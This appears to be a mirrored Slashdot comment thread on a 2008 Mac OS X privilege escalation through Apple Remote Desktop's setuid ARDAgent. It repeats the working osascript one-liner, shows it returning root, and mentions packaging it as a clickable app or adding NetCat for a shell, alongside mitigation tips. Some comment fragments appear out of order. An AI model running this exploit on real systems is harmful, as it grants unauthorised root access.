Slashdot Mirror
Mac OS X Root Escalation Through AppleScript
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
ARD = Apple Remote Desktop You can remove it by following these instructions.
Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.
Even as a normal user on my mac, the exploit code works.
:wq
This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
However, it does work if you have a remote desktop view into a machine.
:wq
Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.
The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.
Okay, so I tested it and the whoami returns 'root'.
/Users/me/Downloads/test.txt"'
However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:
osascript -e 'tell app "ARDAgent" to do shell script "touch
It doesn't do anything for a long time, and then returns
execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.
-Ryan
AUWYHSTOT (Acronyms are Useless When You Have to Spell Them Out Too)
Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...
That's it:
% ls -l-rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent
Time to run find(1) to see if there are any other things like this.
And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.
Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
I can't get the script to successfully run anything other than "whoami". Has anyone else found this to actually be exploitable... or is this just a silly "hey lets make terminal output scary characters" game?
Modding Trolls +1 inciteful since 1999
Assumptions:
AppleScripting is only applicable to
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.
Results: Now, I have one of the machines where this exploit isn't working: So, somebody out there who can get it to work, see if: works or not. That might need full pathing, I'm not sure.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
After about 20 seconds waiting:
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
It's almost like Anna_Kournikova.jpg.vbs all over again.
Here's a non-destructive way to neutralize it.
/System/Library/CoreServices/RemoteManagement/
cd
sudo tar -czf ARDAgent.app.gz ARDAgent.app
sudo chmod 600 ARDAgent.app.gz
This simply hides it in an unreadable tarball.
Some drink at the fountain of knowledge. Others just gargle.
A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.
http://alternatives.rzero.com/
Doesn't look too scary to me. Some kind of hoax maybe?
Caveat Utilitor
I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.
I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.
That was my understanding, at least.
The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.
It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
True. But presumably you could write the script in any of the command-line editors and save it to the desktop or something, at which point the user could click on it.
Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.
How are sites slashdotted when nobody reads TFAs?
So, can someone explain to me how an exploit can get root of there's no root account?
Simple: the root account exists by default. It's not accessible and you can't log-in with it by default. But it's there.Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...
Apple's reported fix, and I am not making this up:
The entire text below, in case Apple deletes it:
Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files
* Last Modified: June 06, 2008
* Article: TS1448
* Old Article: 306925
Symptoms
The following messages may appear in the Disk Utility log window when repairing disk permissions.
Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.
Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.
"Any message that starts with: 'ACL found but not expected on...'."
Products Affected
Mac OS X 10.5
Resolution
You can safely ignore these messages. They are accurate but not a cause for concern.
We recently had heard in the office over one of the Yellow Machine that's made by Anthology Solutions.
The user wouldn't need to do anything. If you log in via SSH as a limited user, you could (theoretically) use OS X's "open" command to launch the file as if it was clicked, from anywhere in the filesystem. The catch is that your SSH login must be the current user of the Window Server (locally logged-in).
True science means that when you re-evaluate the evidence, you re-evaluate your faith.
I tried it and got:
execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.
Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)
This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)
That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.
P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.
I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/
So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.
So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!
Not saying to devalidate your post (which is true) but for the concerned, Apple Open Firmware/EFI Password can be enabled by following instructions at http://support.apple.com/kb/HT1352 . If I had a laptop instead of desktop, I would enable it directly.
Blocks the ability to use the "C" key to start up from an optical disc.
Blocks the ability to use the "N" key to start up from a NetBoot server.
Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.
(Similar stuff on Intel)
No, again, you need the account you're using to be logged into the console, one way or another. If you are logged in as "gandalf" on the console, then you can run this script as "gandalf" over ssh, but not as "frodo."
Of course, you can run it as "root" over ssh, but that kinda defeats the purpose!
Unless the user that you're logged in as is also logged in physically, in which case you can access WindowServer and thus ARDAgent will do its thing.
Mini:~ max$ ssh max@emac.local
Come again? Even though the eMac is sitting right next to the mini, there's no VNC or other screen sharing running. Screen sharing IS switched on, though. If I switch it off, the exploit still works. Remote management is switched off the entire time.Password:
Last login: Thu Jun 19 03:37:58 2008
eMac:~ max$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
root
/var/run/twitter.sock is a twitter socket puppet.
It's not quite as easy as passing in an "applescript:" URL, at least...